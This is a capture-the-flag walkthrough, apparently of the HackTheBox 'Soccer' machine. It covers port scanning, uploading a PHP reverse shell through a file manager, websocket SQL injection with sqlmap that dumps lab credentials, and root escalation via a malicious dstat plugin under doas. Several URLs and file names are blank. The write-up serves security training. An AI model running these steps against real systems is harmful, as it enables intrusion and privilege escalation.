TCP Scan

> TARGET= && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

22/tcp   open  ssh             syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
9091/tcp open  xmltec-xmlmail? syn-ack ttl 63
  • Domain: soccer.htb

Web Enum

  • dirsearch
> dirsearch -u http://soccer.htb/ -x 403,401 -w /usr/share/wordlists/dirb/big.txt

[03:07:11] 301 -  178B  - /tiny  ->  http://soccer.htb/tiny/

Foothold: www-data

  • After logging in, you will see a file manager UI. We are able to upload a reverse shell using this facility.
  • Browse to the /tiny/uploads/ directory and upload a reverse shell /usr/share/webshells/php/php-reverse-shell.php
  • Then browse to the uploaded shell path to receive a reverse shell: http://soccer.htb/tiny/uploads/w.php
  • Checking the nginx file /etc/nginx/sites-available/soc-player.htb found a service on a subdomain
server {
        listen 80;
        listen [::]:80;


        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;


Subdomain:, sqli

  • Browse to and create an account, then login.
  • After login, you are presented with the page There is a ticket checking mechanism where you can search for a ticket. Inspecting the html source found that this feature connects to a websocket
var ws = new WebSocket("ws://");
  • So, very likely there could be a sqli vulnerability. Search online for sqli websocket lead to this post:
  • Basically, we can use the python script in the post as a proxy that forwards sqlmap requests to localhost:8081 (as it’s defined in the python script) to the target host’s websocket port 9091. To make our setup work, we need to change the script with the following settings
ws_server = "ws://" # line: 6
data = '{"id":"%s"}' % message # line: 15, this format can be found by inspecting the traffic and see the search response
  • Save the script as, to exploit
# terminal 1
> python3

# terminal 2
> sqlmap -u "http://localhost:8081/?id=1" -p "id"
  • This process can take a very long time. But eventually, you’ll get the username and password. Login via ssh to get the user flag.
[04:40:38] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

| id   | email             | username | password             |
| 1324 | player@player.htb | player   | PlayerOftheMatch2022 |

PE: root

  • Upload linpeas and perform enum, note the followings
[+] Checking doas.conf
permit nopass player as root cmd /usr/bin/dstat 
  • So from the doas configure, it seems that we can run /usr/bin/dstat as root. This can help us to PE
  • From reading, dstat can be used to monitor and view system resources. And it supports customised plugins. Therefore, we can create a malicious plugin that executes our code then run dstat with root privielge. See the following example
Paths that may contain external dstat_*.py plugins:

(path of binary)/plugins/
  • Search to locate dstat directory
player@soccer:~$ find / -type d -name dstat 2>/dev/null
  • Create a plugin called with the following content under /usr/local/share/dstat/
import os
os.system('chmod +s /usr/bin/bash')
  • Then run dstat with root to trigger the plugin to get root
# check if the plugin can be detected
> dstat --list | grep meow

# run the exploit
player@soccer:/usr/local/share/dstat$ doas -u root /usr/bin/dstat --meow
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
Module dstat_meow failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
player@soccer:/usr/local/share/dstat$ bash -p
bash-5.0# id
uid=1001(player) gid=1001(player) euid=0(root) egid=0(root) groups=0(root),1001(player)
bash-5.0# cat /root/root.txt